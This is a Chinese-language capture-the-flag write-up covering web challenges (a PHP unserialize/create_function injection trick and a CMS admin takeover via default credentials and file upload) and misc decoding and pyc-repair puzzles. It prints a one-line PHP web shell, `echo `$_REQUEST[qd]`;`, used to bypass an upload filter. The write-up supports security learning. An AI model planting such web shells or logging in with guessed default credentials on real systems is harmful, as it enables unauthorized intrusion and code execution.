1.checkin

这种游戏类题目，一般都是用js去做控制结果
直接查看网页源码点到http://118.31.60.233:10000/js/game.js
Ctrl+F直接搜flag

flag{134791e2-d93c-4d01-a71f-dcbe82d7fe08}

unserialize($_GET[0]);

小trick

[new Object,“func”]() 会去调用Object对象的func方法

首先实例调用key传入数组去调用GetFlag中的getflag方法，然后在通过创建匿名函数，由于匿名函数没有严格对参数传递进行过滤，我们可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

是一个国际cms的站

发现点击很多页面都404
直接下载源码审计，tp框架
直接访问
http://111.74.9.109:10761/index.php/admin

跳转到后台

可以通过首页发现有admin用户
直接admin 88888888登录
通过基本配置修改上传后缀
后面在二维码这里，上传php文件马

这里存在过滤，发现是对文件内容过滤
基础绕过

 echo `$_REQUEST[qd]`;

misc

1.decodemaster

直接Ctrl+A全选换个字体就能拿到下面密文

拿到密文，看上去很像字符移位替换，判断可能是栅栏、凯撒、维吉尼亚加密。
栅栏和凯撒都不对。
丢进在线维吉尼亚爆破试试
爆破得到Key：welcometogwb

发现需要解密的密文：4%G#n+Wc?tpPU!b!Dv]RBfXx\ZP\n39iI+F;:SY,F!x9(B(3@E_(mwc7F2
经过测试，发现是base92

根据密文特征符合base58:9个阿拉伯数字（去掉0）+24个大写字母（去掉I和O）+25小写字母（去掉l），解码得到flag

flag{You_Are_Really_Decode_Master}

2.gwb-misc-lovemath

下载附件之后得到一串密文

扔进ida进行分析，很明显的特征，应该是pyInstaller生成的exe文件

利用pyinstxtractor提取pyc文件


使用在线站进行反编译成py文件

没有反编译成功
打开010 Editor进行分析
查了下pyc文件头，知道文件头550D0D0A，而这里是420D0D0A

将42改成55
保存，使用uncompyle6工具反编译出py文件：
安装：pip install uncompyle6

网上也有在线反编译的站:

修改代码print出结果，发现可能是字符反转，反转后进行base64解码

from base64 import *

xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68, 147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]

yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'

pass_str=(''.join([yyy[_] for _ in xxx]))

print(pass_str)
print(pass_str[::-1])
print(b64decode(pass_str[::-1]))

得到zip的密码

通过010 editor可以知道是png格式
